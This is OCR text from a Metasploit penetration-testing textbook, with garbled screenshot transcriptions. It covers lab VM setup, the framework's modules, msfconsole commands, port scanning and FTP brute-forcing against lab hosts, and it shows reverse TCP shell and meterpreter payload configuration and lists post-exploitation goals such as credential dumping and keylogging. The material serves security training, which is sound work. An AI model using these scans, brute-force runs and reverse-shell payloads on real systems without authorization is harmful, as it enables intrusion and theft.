VMPlayer or VMware Workstation:

@ Linux - VMware

File Edit View VM Tabs Help

ICHE BN ==i

(] Metasploitable2-Linux
@ Metasploitable2-Linux

Power on this virtual machine
4E1Edit virtual machine settings
{5 Upgrade this virtual machine

¥ Devices
8 Memory 512 MB
[ Processors. 1
2 Hard Disk (SCS)  8GB

*)CD/DVD (IDE)

= Network Adapter NAT
FE Network Adapte... Host-only
USB Controller
W Display

Auto detect

Present
Auto detect

~ Description
This is Metasploitable2 (Linu)

Metasploitable is an intentionally
wulnerable Linux virtual machine, This
WM can be used to conduct security
training, test security tools, and practice
common penetration testing techniques.

The defautt login and password is
msfadmin:msfadmin.

Never expose this VM to an untrusted
network (use NAT or Host-only mode if
you have any questions what that
means).

~ Virtual Machine Details
State: Powered off
HE :

Confi g
Hardware compatibility: Workstation 6.5-7x virtual machine
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3. Click on the green P1lay icon to start the virtual machine:

@ Linux - VMware. - X
File Edit View VM Tabs Help - | & ORI == |

(5} Metasploitable2-Linux

» Starting deferred execution scheduler atd
» Starting periodic command scheduler crond
* Starting Tomcat servlet engine tomcatd.5
x Starting ueb server apache2

# Runming local boot scripts (setcsrc.local)
nohup: appending output to ‘nohup.out’

nohup: appending output to ‘nohup.out’

Warning: Never expose this UH to an untrusted netuork?
Contact: msfdevlatlnetasploit.con

Login with nsfadnin-/nsfadnin to get started

netasploitable login: _

To direct input to this VM, click inside or press Ctrl+G. (=008 L. ] )

4. Once the virtual machine boots up, you can login into the same using the
following credentials:

User name - msfadmin
Password - msfadmin

We can use this virtual machine later for practicing the skills that we learn in this book.

Summary

In this chapter we have learned how to quickly get started with the Metasploit Framework
by installing it on various platforms. Having done with the installation part, we'll proceed
further to the next chapter to get an overview of structure of Metasploit and component
level details.
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Exercises

You can try the following exercises:

e Download Kali Linux virtual machine and play it in VMPlayer or VMware
Workstation

e Try installing the Metasploit Framework on Ubuntu
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Metasploit Components and
Environment Configuration

For any tool that we use to perform a particular task, it's always helpful to know that tool
inside out. A detailed understanding of the tool enables us to use it aptly, making it perform
to the fullest of its capability. Now that you have learned some of the absolute basics of the
Metasploit Framework and its installation, in this chapter, you will learn how the
Metasploit Framework is structured and what the various components of the Metasploit
ecosystem. The following topics will be covered in this chapter:

e Anatomy and structure of Metasploit

Metasploit components--auxiliaries, exploits, encoders, payloads, and post

Getting started with msfconsole and common commands

Configuring local and global variables

Updating the framework
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Anatomy and structure of Metasploit

The best way to learn the structure of Metasploit is to browse through its directory. When
using a Kali Linux, the Metasploit Framework is usually located at path
/usr/share/metasploit-framework, as shown in the following screenshot:

root@Kali: /usr/share/metasploit-framework/modules e e 0
File Edit View Search Terminal Help

:~# cd /usr/share/metasploit-framework/
:/usr/share/metasploit-framework# 1s

Gemfile.lock msfconsole msfpescan msfvenom +tools
lib msfd msfrop plugins vendor
metasploit-framework.gemspec msfdb msTrpc Rakefile

modules msfelfscan msfrpcd ruby

msfbinscan msfmachscan msfupdate scripts
'share/metasploit-framework# cd modules/
:/u are/metasploit-framework/modules# 1s

auxiliary encoders exploits nops payloads post
:/usr/share/metasploit-framework/modules# |

At a broad level, the Metasploit Framework structure is as shown in the following
screenshot:
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The Metasploit Framework has a very clear and well-defined structure, and the
tools/utilities within the framework are organized based on their relevance in various
phases of the penetration testing life cycle. We'll be using tools/utilities from each of these
categories as we progress through the book.

In the next section, we'll have a brief overview of all the Metasploit components.

Metasploit components

The Metasploit Framework has various component categories based on their role in the
penetration testing phases. The following sections will provide a detailed understanding of
what each component category is responsible for.

Auxiliaries

You have learned so far that Metasploit is a complete penetration testing framework and
not just a tool. When we call it a framework, it means that it consists of many useful tools
and utilities. Auxiliary modules in the Metasploit Framework are nothing but small pieces
of code that are meant to perform a specific task (in the scope of our penetration testing life
cycle). For example, you might need to perform a simple task of verifying whether a
certificate of a particular server has expired or not, or you might want to scan your subnet
and check whether any of the FTP servers allow anonymous access. Such tasks can be very
easily accomplished using auxiliary modules present in the Metasploit Framework.

There are 1000 plus auxiliary modules spread across 18 categories in the Metasploit
Framework.

The following table shows various categories of auxiliary modules present in the Metasploit
Framework:

gather [pdf vsploit

bnat sqgli client

crawler | fuzzers|server

spoof parser |voip

sniffer|analyze|dos

docx admin scanner
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Don't get overwhelmed with the number of auxiliary modules present in the Metasploit
Framework. You may not need to know each and every module individually. You just need
to search the right module in the required context and use it accordingly. We will now see
how to use an auxiliary module.

During the course of this book, we will use many different auxiliary modules as and when
required; however, let's get started with a simple example:

1.

Open up the terminal window and start Metasploit using the command
msfconsole.

Select the auxiliary module portscan/tcp to perform a port scan against a
target system.

Using the show command, list down all parameters that need to be configured in
order to run this auxiliary module.

Using the set RHOSTS command, set the IP address of our target system.
Using the set PORTS command, select the port range you want to scan on your
target system.

Using the run command, execute the auxiliary module with the parameters
configured earlier.

You can see the use of all the previously mentioned commands in the following screenshot:

File Edit View Search Terminal Help

msf > u

msf auxiliary( ) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name

DELAY 0 yes The delay between connections, per thread, in milliseconds

JITTER 0 yes The delay jitter factor (maximum value by which te +/- DELAY) in milliseconds
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)

RHOSTS yes The target address range or CIDR identifier

THREADS 1 yes The number of concurrent threads

TIMEOUT 1000 yes The socket connect timeout in milliseconds

root@kali: ~ 060

se auxiliary/scanner/portscan/tcp

Current Setting Required Description

The number of concurrent ports to check per host

msf auxiliary( ) > set RHOSTS 192.168.1.1600
RHOSTS => 192.168.1.100

msf auxiliary( ) > set PORTS 1-100

PORTS => 1-100

msfT auxiliary( ) > run

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary( ) > set PORTS 1-10000
PORTS => 1-10000

msf auxiliary( ) > run

[*] 192
[*] 192

.168.1.100: - 192.168.1.100:139 - TCP OPEN
.168.1.100: - 192.168.1.100:135 - TCP OPEN
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Exploits

Exploits are the most important part of the Metasploit Framework. An exploit is the actual
piece of code that will give you the required access to the target system. There are 2500 plus
exploits spread across more than 20 categories based on platform that exploit is supported.
Now, you might be thinking that out of so many available exploits, which is the one that
needs to be used. The decision to use a particular exploit against a target can be made only
after extensive enumeration and vulnerability assessment of our target. (Refer to the section
penetration testing life cycle from chapter 1, Introduction to Metasploit and Supporting Tools).
Proper enumeration and a vulnerability assessment of the target will give us the following
information based on which we can choose the correct exploit:

e Operating system of the target system (including exact version and architecture)
e Open ports on the target system (TCP and UDP)

e Services along with versions running on the target system

e Probability of a particular service being vulnerable

The following table shows the various categories of exploits available in the Metasploit
Framework:

Linux Windows | Unix 0s X AppleiOS
irix mainframe | freebsd|solaris |bsdi
firefox|netware aix android|dialup
hpux Jjre7ul’ wifi php mssqgl

In the upcoming chapters, we'll see how to use an exploit against a vulnerable target.

Encoders

In any of the given real-world penetration testing scenario, it's quite possible that our
attempt to attack the target system would get detected/noticed by some kind of security
software present on the target system. This may jeopardize all our efforts to gain access to
the remote system. This is exactly when encoders come to the rescue. The job of the
encoders is to obfuscate our exploit and payload in such a way that it goes unnoticed by
any of the security systems on the target system.
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The following table shows the various encoder categories available in the Metasploit
Framework:

generic|mipsbe |ppc

x64 php mipsle

cmd sparc |x86

We'll be looking at encoders in more detail in the upcoming chapters.

Payloads

To understand what a payload does, let's consider a real-world example. A military unit of
a certain country develops a new missile that can travel a range of 500 km at very high
speed. Now, the missile body itself is of no use unless it's filled with the right kind of
ammunition. Now, the military unit decided to load high explosive material within the
missile so that when the missile hits the target, the explosive material within the missile
explodes and causes the required damage to the enemy. So, in this case, the high explosive
material within the missile is the payload. The payload can be changed based on the
severity of damage that is to be caused after the missile is fired.

Similarly, payloads in the Metasploit Framework let us decide what action is to be
performed on the target system once the exploit is successful. The following are the various
payload categories available in the Metasploit Framework:

¢ Singles: These are sometimes also referred to as inline or non staged payloads.
Payloads in this category are a completely self-contained unit of the exploit and
require shellcode, which means they have everything that is required to exploit
the vulnerability on the target. The disadvantage of such payloads is their size.
Since they contain the complete exploit and shellcode, they can be quite bulky at
times, rendering them useless in certain scenarios with size restrictions.

o Stagers: There are certain scenarios where the size of the payload matters a lot. A
payload with even a single byte extra may not function well on the target system.
The stagers payload come handy in such a situation. The stagers payload simply
sets up a connection between the attacking system and the target system. It
doesn't have the shellcode necessary to exploit the vulnerability on the target
system. Being very small in size, it fits in well in many scenarios.

¢ Stages: Once the stager type payload has set up a connection between the
attacking system and the target system, the "stages" payloads are then
downloaded on the target system. They contain the required shellcode to exploit
the vulnerability on the target system.
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The following screenshot shows a sample payload that can be used to obtain a reverse TCP
shell from a compromised Windows system:

root@kali: ~ 6o 0

File Edit View Search Terminal Help
msf > use payload/windows/shell/reverse tcp

msf payload( ) > show options

Module options (payload/windows/shell/reverse tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port

msf payload( ) > set LHOST 192.168.1.2
LHOST => 192.168.1.2

msf payload( ) > set LPORT 4455

LPORT => 4455

msf payload( I |

You will be learning how to use various payloads along with exploits in the upcoming
chapters.

Post

The post modules contain various scripts and utilities that help us to further infiltrate our
target system after a successful exploitation. Once we successfully exploit a vulnerability
and get into our target system, post-exploitation modules may help us in the following
ways:

Escalate user privileges

Dump OS credentials

Steal cookies and saved passwords

Get key logs from the target system

Execute PowerShell scripts

Make our access persistent
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The following table shows the various categories of "post" modules available in the
Metasploit Framework:

Linux | Windows | OS X Cisco
Solaris | Firefox Aix Android
Multi | Zip Powershell

The Metasploit Framework has more than 250 such post-exploitation utilities and scripts.
We'll be using some of them when we discuss more on post-exploitation techniques in the
upcoming chapters.

Playing around with msfconsole

Now that we have a basic understanding of the structure of the Metasploit Framework, let's
get started with the basics of msfconsole practically.

The msfconsole is nothing but a simple command-line interface of the Metasploit
Framework. Though msfconsole may appear a bit complex initially, it is the easiest and
most flexible way to interact with the Metasploit Framework. We'll use msfconsole for
interacting with the Metasploit framework throughout the course of this book.

Some of the Metasploit editions do offer GUI and a web-based interface.
However, from a learning perspective, it's always recommended to master
the command-line console of the Metasploit Framework that is
msfconsole.

Let's look at some of the msfconsole commands:

e The banner command: The banner command is a very simple command used to
display the Metasploit Framework banner information. This information typically
includes its version details and the number of exploits, auxiliaries, payloads,
encoders, and nops generators available in the currently installed version.
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Its syntax is ms£> banner. The following screenshot shows the use of the
banner command:

root@kali: ~ e ® O

File Edit View Search Terminal Help
msf > banner

S R,
A

I love shells

Easy phishing: Set up email templates, landing pages and listeners
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

=[ me vd. 12 v ]

- --=[ 1577 exploits - 907 auxiliary - 272 post ]
--=[ 455 payloads - 39 encoders - 8 nops ]
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

¢ The version command: The version command is used to check the version of
the current Metasploit Framework installation. You can visit the following site in

order to check the latest version officially released by Metasploit:
https://github.com/rapid7/metasploit-framework/wiki/Downloads-by—
Version
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Its syntax is msf> version. The following screenshot shows the use of the
version command:

@ ® @ sagar@ubuntu: ~

m > version
Framewo 4.12.20-dev

Console : 4.12.20-dev
nsf =

¢ The connect command: The connect command present in the Metasploit
Framework gives similar functionality to that of a putty client or netcat. You can
use this feature for a quick port scan or for port banner grabbing.

Its syntax isms£> connect <ip:port>. The following screenshot shows
the use of the connect command:

® & sagar@ubuntu: ~
Usage: connect [options] <host> <port=

Communicate with a host, similar to interacting via netcat, taking advantage of
any configured session pivoting.

OPTIONS:

-C Try to use CRLF for EOL sequence.
-P <opt> Specify source port.
<opt> Specify source address.
-c <opt> Specify which Comm to use.
-h Help banner.
-1 <opt> Send the contents of a file.
List of proxies to use.
Connect with SSL.
Switch to a UDP socket.
Specify connect timeout.
Just try to connect, then return.

connect google.com 80
onnected to google.com:B80

¢ The help command: As the name suggests, the help command offers additional
information on the usage of any of the commands within the Metasploit
Framework.
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Its syntax is ms£> help. The following screenshot shows the use of the help
command:

root@kali: ~ (O]
File Edit View Search Terminal Help
msf > help

Core Commands

Command Description

7 Help menu
advanced Displays advanced options for one or more modules
back Move back from the current context
banner Display an awesome metasploit banner

Change the current working directory

Toggle color
connect Communicate with a host
edit Edit the current module with $VISUAL or $EDITOR
exit Exit the console
get Gets the value of a context-specific variable
getg Gets the value of a global variable
grep Grep the output of another command
help Help menu
info Displays information about one or more modules
irb Drop into irb scripting mode
jobs Displays and manages jobs
kill Kill a job
load Load a framework plugin
loadpath Searches for and loads modules from a path
makerc Save commands entered since start to a file
options Displays glebal options or for one or more modules
popm Pops the latest module off the stack and makes it active
previous Sets the previously loaded module as the current module
pushm Pushes the active or list of medules onto the module stack
quit Exit the console

¢ The route command: The route command is used to add, view, modify, or
delete the network routes. This is used for pivoting in advanced scenarios, which
we will cover later in this book.

Its syntax is msf> route. The following screenshot shows the use of the
route command:

@ S F sagar@ubuntu: ~

msf > route
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]

Route traffic destined to a given subnet through a supplied session.
The default comm is Local.
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¢ The save command: At times, when performing a penetration test on a complex
target environment, a lot of configuration changes are made in the Metasploit
Framework. Now, if the penetration test needs to be resumed again at a later
point of time, it would be really painful to configure the Metasploit Framework
again from scratch. The save command saves all the configurations to a file and
it gets loaded upon the next startup, saving all the reconfiguration efforts.

Its syntax is ms £>save. The following screenshot shows the use of the save
command:

sagar@ubuntu: ~

® The sessions command: Once our target is exploited successfully, we normally
get a shell session on the target system. If we are working on multiple targets
simultaneously, then there might be multiple sessions actively open at the same
time. The Metasploit Framework allows us to switch between multiple sessions
as and when required. The sessions command lists down all the currently
active sessions established with various target systems.

Its syntax is ms f>sessions. The following screenshot shows the use of the
sessions command:

sagar@ubuntu: ~
sessions
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e The spool command: Just like any application has debug logs that help out in
debugging errors, the spool command prints out all the output to a user-defined
file along with the console. The output file can later be analyzed based on the
requirement.

Its syntax is ms £>spool. The following screenshot shows the use of the
spool command:

sagar@ubuntu: ~

> spool
: spool <off=|<filename>

Example:
spool /tmp/console.log

spool /home/sagar/Desktop/msflog.log
pooling to file /home/sagar/Desktop/msflog.log...

¢ The show command: The show command is used to display the available
modules within the Metasploit Framework or to display additional information
while using a particular module.

Its syntax is msf> show. The following screenshot shows the use of the show
command:

sagar@ubunku: ~

> show -h

valid parameters for the "show" command are: all, encoders, nops, exploits,
loads, auxiliary, plugins, info, options

Additional module-specific parameters are: missing, advanced, evasion, targe
actions

> show nops

Rank Description

armle/simple normal

php/generic normal PHP Nop Generator
ppc/simple normal Simple

sparc/random normal SPARC NOP Generator
tty/generic normal TTY Nop Generator
Xx64/simple normal Simple

x86fopty2 normal Opty2
x86/single_byte normal Single Byte
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e The info command: The info command is used to display details about a
particular module within the Metasploit Framework. For example, you might
want to view information on meterpreter payload, such as what the supported
architecture ia and what the options required in order to execute this are:

Its syntax is msf> info. The following screenshot shows the use of the info
command:

' @ sagar@ubuntu: ~

: info <module name> [mod2 mod3 ...

'-j' will print the data in json format
* The flag '-d' will show the markdown version with a browser. More info, but could be slow.
Queries the supplied module or modules for information. If no module is given,
show info for the currently active module.

msf = info payload/windows/meterpreter/reverse_tcp

Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager
Module: payload/windows/meterpreter/reverse_tcp
Platform: Windows

Arch: x86

Needs Admin: No

Total si 281

Rank: Normal

Provided by:
skape <mmillerghick.org>
ephen_fewergharmonysecurity.com=>
0J Reeves
hdm <x@hdm.io>

Basic options:
Name Current Setting Required Description

EXITFUNC process e Exit technique (Accepted:
LHOST The listen address
LPORT 4444 s The listen port

, seh, thread, process, none)

Description:
Inject the meterpreter server DLL via the Reflective D1l Injection
payload (staged). Connect back to the attacker
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e The irb command: The irb command invokes the interactive Ruby platform
from within the Metasploit Framework. The interactive Ruby platform can be
used for creating and invoking custom scripts typically during the post-
exploitation phase.

Its syntax is ms £>irb. The following screenshot shows the use of the irb
command:

@ S @ sagar@ubuntu: ~

ms irb

[#*] Starting IRB shell...

Ignoring nokogiri-1.6.8 because its extensions are not built. Try: gem pristine nokogiri-1.6.8

Ignoring bcrypt-3.1.11 because its extensions are not built. Try: gem pristine bcrypt-3.1.11

Ignoring unf_ext-0.0.7.2 because its extensions are not built. Try: gem pristine unf_ext-0.0.7.2

Ignoring eventmachine-1.2.0.1 because its extensions are not built. Try: gem pristine eventmachine-1.2.06.1
Ignoring ffi-1.9.14 because its extensions are not built. Try: gem pristine ffi-1.9

Ignoring pg-0.18.4 because its extensions are not built. Try: gem pristine pg-08.18.4

Ignoring pg_array_parser-0.0.9 because its extensions are not built. Try: gem pristine pg_array_parser-0.0.
9

Ignoring msgpack-1.0.0 because its extensions are not built. Try: gem pristine msgpack-1.6.0

Ignoring network_ erface-0.0.1 because its extensions are not built. Try: gem pristine network_interface-
0.0.1

Ignoring pcaprub-0.12.4 because its extensions are not built. Try: gem pristine pcaprub-0.12.4

Ignoring redcarpet-3.3.4 because its extensions are not built. Try: gem pristine redcarpet-3.3.4

Ignoring sqlite3-1.3.11 because its extensions are not built. Try: gem pristine sqlite3-1.3.11

Ignoring thin-1.7.0 because its extensions are not built. Try: gem pristine thin-1.7.0

>> puts "Metasploit is awesome"

Metasploit is awesome

=> nil

>

¢ The makerc command: When we use the Metasploit Framework for pen testing a
target, we fire a lot many commands. At end of the assignment or that particular
session, we might want to review what all activities we performed through
Metasploit. The makerc command simply writes out all the command history for
a particular session to a user defined output file.

Its syntax is ms f>makerc. The following screenshot shows the use of the
makerc command:

@ ™ @ sagar@ubuntu: ~
makerc
: makerc <output rc file>

Save the commands executed since startup to the specified file.

makerc /home/sagar/Desktop/msfcommands.txt
aving last 2 commands to /home/sagar/Desktop/msfcommands.txt ...
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Variables in Metasploit

For most exploits that we use within the Metasploit Framework, we need to set values to
some of the variables. The following are some of the common and most important variables
in the Metasploit Framework:

Variable Variable description

name

LHOST Local Host: This variable contains the IP address of the attacker's system that is
the IP address of the system from where we are initiating the exploit.

LPORT Local Port: This variable contains the (local) port number of the attacker's
system. This is typically needed when we are expecting our exploit to give us
reverse shell.

RHOST Remote Host: This variable contains the IP address of our target system.

RPORT Remote Port: This variable contains the port number on the target system that

we will attack/exploit. For example, for exploiting an FTP vulnerability on a
remote target system, RPORT will be set to 21.

The get command: The get command is used to retrieve the value contained in a
particular local variable within the Metasploit Framework. For example, you
might want to view what is the IP address of the target system that you have set
for a particular exploit.

Its syntax is ms f>get. The following screenshot shows the use of the ms £>
get command:

' &) sagar@ubuntu: ~

e: get varl [var2 ...]
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¢ The getg command: The getg command is very similar to the get command,
except it returns the value contained in the global variable.

Its syntax is msf> getg. The following screenshot shows the use of the msf>
getg command:

sagar@ubunktu: ~

e: getg varl [var2 ...]

¢ The set and setg commands: The set command assigns a new value to one of
the (local) variables (such as RHOST, RPORT, LHOST, and LPPORT) within the
Metasploit Framework. However, the set command assigns a value to the
variable that is valid for a limited session/instance. The setg command assigns a
new value to the (global) variable on a permanent basis so that it can be used
repeatedly whenever required.

Its syntax is:

msf> set <VARIABLE> <VALUE>
msf> setg <VARIABLE> <VALUE>

We can see the set and setg commands in the following screenshot:

sagar@ubuntu: ~
set RHOST 192.168.1.30
=> 192.168.1.30
setg RHOST 192.168.1.30

=> 192.168.1.30
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e The unset and unsetg commands: The unset command simply clears the value
previously stored in a (local) variable through the set command. The unsetg
command clears the value previously stored in a (global) variable through the
setg command:

syntax is:

msf> unset<VARIABLE>
msf> unsetg <VARIABLE>

We can see the unset and unsetg commands in the following screenshot:

sagar@ubuntu: ~
unset RHOST
etting RHOST...
unsetg RHOST

ting RHOST...

Updating the Metasploit Framework

The Metasploit Framework is commercially backed by Rapid 7 and has a very active
development community. New vulnerabilities are discovered almost on a daily basis in
various systems. For any such newly discovered vulnerability, there's quite a possibility
that you get a ready-to-use exploit in the Metasploit Framework. However, in order to keep
abreast with the latest vulnerabilities and exploits, it's important to keep the Metasploit
Framework updated. You may not need to update the framework on a daily basis (unless
you are very actively involved in penetration testing); however, you can target for weekly
updates.
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The Metasploit Framework offers a simple utility called ms fupdate that connects to the
respective online repository and fetches the updates:

root@kali: ~ [— IO ]

File Edit View Search Terminal Help
:~# msfupdate
[*]
[*] Attempting to update the Metasploit Framework...
[4]

[*] Checking for updates via the APT repository

[*] Note: expect weekly(ish) updates using this method
[*] Updating to version 4.14.10-0kalil

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following packages will be upgraded:

metasploit-framework
1 upgraded, @ newly installed, © to remove and 1981 not upgraded.
Need to get 90.2 MB of archives.
After this operation, 42.9 MB of additional disk space will be used.
Get:1 http://ftp.yzu.edu.tw/Linux/kali kali-rolling/main 1386 metasploit-framewo
rk 1386 4.14.10-0kalil [90.2 MB]
10% [1 metasploit-framework 11.7 MB/90.2 MB 13%] 261 kB/s 5min 1sfj

Summary

In this chapter, we have seen how the Metasploit Framework is structured and some
common console commands. In the next chapter, we'll practically start using the Metasploit
Framework for performing information gathering and enumeration on our target systems.
For using most modules within the Metasploit Framework, remember the following
sequence:

1. Use the use command to select the required Metasploit module.

2. Use the show options command to list what all variables are required in order
to execute the selected module.

3. Use the set command to set the values for required variables.

4. Use the run command to execute the module with the variables configured
earlier.
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Exercises

You can try the following exercises:

e Browse through the directory structure of the Metasploit Framework
¢ Try out some of the common console commands discussed in this chapter
e Update the Metasploit Framework to the latest available version
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Information Gathering with
Metasploit

Information gathering and enumeration are the initial stages of penetration testing life
cycle. These stages are often overlooked, and people directly end up using automated tools
in an attempt to quickly compromise the target. However, such attempts are less likely to
succeed.

"Give me six hours to chop down a tree and I will spend the first four sharpening the axe.”
- Abraham Lincoln

This is a very famous quote by Abraham Lincoln which is applicable to penetration testing
as well! The more efforts you take to gather information about your targets and enumerate
them, the more likely you are to succeed with compromise. By performing comprehensive
information gathering and enumeration, you will be presented with wealth of information
about your target, and then you can precisely decide the attack vector in order to
compromise the same.

The Metasploit Framework provides various auxiliary modules for performing both passive
and active information gathering along with detailed enumeration. This chapter introduces
some of the important information gathering and enumeration modules available in the
Metasploit Framework:

The topics to be covered are as follows:

¢ Information gathering and enumeration on various protocols
¢ Password sniffing with Metasploit
¢ Advanced search using Shodan
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Information gathering and enumeration

In this section, we'll explore various auxiliary modules within the Metasploit Framework
that can be effectively used for information gathering and enumeration of various protocols
such as TCP, UDP, FTP, SMB, SMTP, HTTP, SSH, DNS, and RDP. For each of these
protocols, you will learn multiple auxiliary modules along with the necessary variable
configurations.

Transmission Control Protocol

Transmission Control Protocol (TCP) is a connection-oriented protocol and ensures
reliable packet transmission. Many of the services such as Telnet, SSH, FTP, and SMTP
make use of the TCP protocol. This module performs a simple port scan against the target
system and tells us which TCP ports are open.

Its auxiliary module name is auxiliary/scanner/portscan/tcp, and you will have to
configure the following parameters:

e RHOSTS: IP address or IP range of the target to be scanned
e PORTS: Range of ports to be scanned

We can see this auxiliary module in the following screenshot:

root@kali: ~/Desktop/Labs/tools @6 0

File Edit View Search Terminal Help
msf > use auxiliary/scanner/portscan/tcp
msf auxiliary( ) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name urrent Setting Required Description

CONCURRENCY The number of concurrent ports to check per host

DELAY yes The delay between connections, per thread, in milliseconds

JITTER yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-960)

RHOSTS yes The target address range or CIDR identifier

THREADS 1 yes The number of concurrent threads

TIMEOUT 1000 yes The socket connect timeout in milliseconds

msf auxiliary( ) > set RHOSTS 10.11.1.5
N 1:1.5

RHOSTS => 10 .

msf auxiliary( ) > set PORTS 1-16000
PORTS => 1-1000

msf auxiliary( ) > run

10.11.1.5: - 10.11.1.5:135 - TCP OPEN
10.11.1.5: - 10.11.1.5:139 - TCP OPEN
10.11.1.5: - 10.11.1.5:445 - TCP OPEN
Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed
auxiliary(tcp) > I
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User Datagram Protocol

User Datagram Protocol (UDP) is lightweight compared to TCP, however, not as reliable as
TCP. UDP is used by services such as SNMP and DNS. This module performs a simple port
scan against the target system and tells us which UDP ports are open.

Its auxiliary module name is auxiliary/scanner/discovery/udp_sweep, and you will
have to configure the following parameters:

e RHOSTS: IP address or IP range of the target to be scanned

We can see this auxiliary module in the following screenshot:

root@kali: ~ (- O -]
File Edit View Search Terminal Help

> use auxiliary/scanner/discovery/udp_sweep
auxiliary( ) > show options

Module options (auxiliary/scanner/discovery/udp_sweep):
Name Current Setting Required Description

The number of hosts to probe in each set
RHOSTS The target address range or CIDR identifier
THREADS 10 The number of concurrent threads

msf auxiliary( ) > set RHOSTS 192.168.44.133
RHOSTS 192.168.44.133
msf auxiliary( ) > run

[*] Sending 13 probes to 192.168.44.133->192.168.44.133 (1 hosts)

[*] Discovered NetBIOS on 192.168.44.133:137 (METASPLOITABLE:<008>:U :METASPLOITABLE:<03>:U :METASPLOITABLE:<2
0=:U :WORKGROUP:<00>:G :WORKGROUP:<le=:G :00:00:00:00:00:00)

[*] Discovered Portmap on 192.168.44.133:111 (100060 v2 TCP(111), 106600 v2 UDP(111), 100024 v1 UDP(48449), 1
00024 v1 TCP(55234), 100003 v2 UDP(2049), 100003 v3 UDP(2049), 100003 v4 UDP(2049), 100021 vl UDP(41880), 100
0821 v3 UDP(41880), 100021 v4 UDP(41880), 1006883 v2 TCP(2049), 100083 v3 TCP(2049), 100083 v4 TCP(2049), 10002
1 v1 TCP(53164), 106021 v3 TCP(53164), 100021 v4 TCP(53164), 100085 v1 UDP(39932), 100005 vl TCP(33599), 1000
85 v2 UDP(39932), 106005 v2 TCP(33599), 1P@OA5 v3 UDP(39932), 100085 v3 TCP(33599))

[*] Discovered DNS on 192.168.44.133:53 (BIND 9.4.2)

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary( ) > 1

File Transfer Protocol

File Transfer Protocol (FTP) is most commonly used for file sharing between the client and
server. FTP uses TCP port 21 for communication.
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Let's go through some of the following FTP auxiliaries:

e ftp_login: This module helps us perform a brute-force attack against the target
FTP server.

Its auxiliary module name is auxiliary/scanner/ftp/ftp_login, and
you will have to configure the following parameters:

e RHOSTS: IP address or IP range of the target to be scanned

e USERPASS_FILE: Path to the file containing the
username/password list

You can either create your own custom list that can be used for a brute-

force attack, or there are many wordlists instantly available for use in Kali
Linux, located at |usr|share|wordlists.

We can see this auxiliary module in the following screenshot:

root@kali: ~ e o0

File Edit View Search Terminal Help
msf > use auxiliary/scanner/ftp/ftp_login
msf auxiliar ) > show options

Module options (auxiliary/scanner/ftp/ftp_login):
Name i Required Description

BLANK_PASSWORDS  false blank passwords for all users

BRUTEFORCE_SPEED 5 yes fast to bruteforce, from 0 to 5

DB_ALL_CREDS false no ry each user/password couple stored in the current database
DB_ALL_PASS false no all passwords in the current database to the list
DB_ALL_USERS false no all users in the current database to the list

PASSWORD no A specific password to authenticate with

PASS_FILE no File containing passwords, one per line

Proxies no A proxy chain of format type:host:port[,type:host:port][ 1
RECORD_GUEST false no Record anonymous/guest logins to the database

RHOSTS yes The target address range or CIDR identifier

RPORT 21 yes The target port

STOP_ON_SUCCESS  false yes Stop guessing when a credential works for a host

THREADS 1 yes The number of concurrent threads

USERNAME no A specific username to authenticate as

USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users

USER_FILE no File containing usernames, one per line

VERBOSE true yes Whether to print output for all attempts

) > set RHOSTS 192.168.44.129
68.44.129
) > set USERPASS_FILE /root/Desktop/metasploit-labs/usernames
/root/Desktop/metasploit-labs/usernames
msf auxili ) > run

[*] 192. .44.129:21 - 192. :21 - Starting FTP login sweep
192. .44.129:21 - 192. :21 - LOGIN FAILED: admin: (Incorrect: )
192. 44.129:21 - 192 4 :21 - LOGIN FAILED: temp: (Incorrect: )
192. .44.129:21 - 192, :21 - LOGIN FAILED: user: (Incorrect: )
[+] 192. .44.129:21 - 192, :21 - LOGIN SUCCESSFUL: anonymous
192. .44.129:21 - 192.168.44.129:21 - LOGIN FAILED: john: (Incorrect: )
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e ftp_version: This module uses the banner grabbing technique to detect the
version of the target FTP server.

Its auxiliary module name is auxiliary/scanner/ftp/ftp_version, and
you will have to configure the following parameters:

e RHOSTS: IP address or IP range of the target to be scanned

Once you know the version of the target service, you can start searching
for version specific vulnerabilities and corresponding exploits.

We can see this auxiliary module in the following screenshot:

root@kali; ~ e ® O
File Edit View Search Terminal Help

> use auxiliary/scanner/ftp/ftp_version
auxiliary( ) > show options

Module options (auxiliary/scanner/ftp/ftp version):

Name Current Setting Required Description

FTPPASS mozilla@example.com no password for the specified username
FTPUSER anonymous no username to authenticate as

RHOSTS yes target address range or CIDR identifier
RPORT 21 yes target port

THREADS 1 yes The number of concurrent threads

msf auxiliary( ) = set RHOSTS 192.168.44.129
RHOSTS == 192.168.44.129
msf auxiliary( ) = run

[*] 192.168.44.129:21 - FTP Banner: '220-FileZilla Server version 0.9.40 beta\x0d\x
0a220-written by Tim Kosse (Tim.Kosse@gmx.de)\x0d\x0a220 Please visit http://sourceforg
e.net/projects/filezilla/\x0d\x0a’

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary( ) = 1

[62]




Information Gathering with Metasploit Chapter 5

¢ anonymous: Some FTP servers are misconfigured in a way that they allow
anonymous access to remote users. This auxiliary module probes the target FTP
server to check whether it allows anonymous access.

Its auxiliary module name is auxiliary/scanner/ftp/anonymous, and
you will have to configure the following parameters:

e RHOSTS: IP address or IP range of the target to be scanned

We can see this auxiliary module in the following screenshot:

root@kali: ~ e ® 0
File Edit View Search Terminal Help

msf > use auxiliary/scanner/ftp/anonymous
st auxiliary( ) > show options

Module options (auxiliary/scanner/ftp/anonymous):
Name Current Setting Required Description

FTPPASS mozilla@example.com The password for the specified username
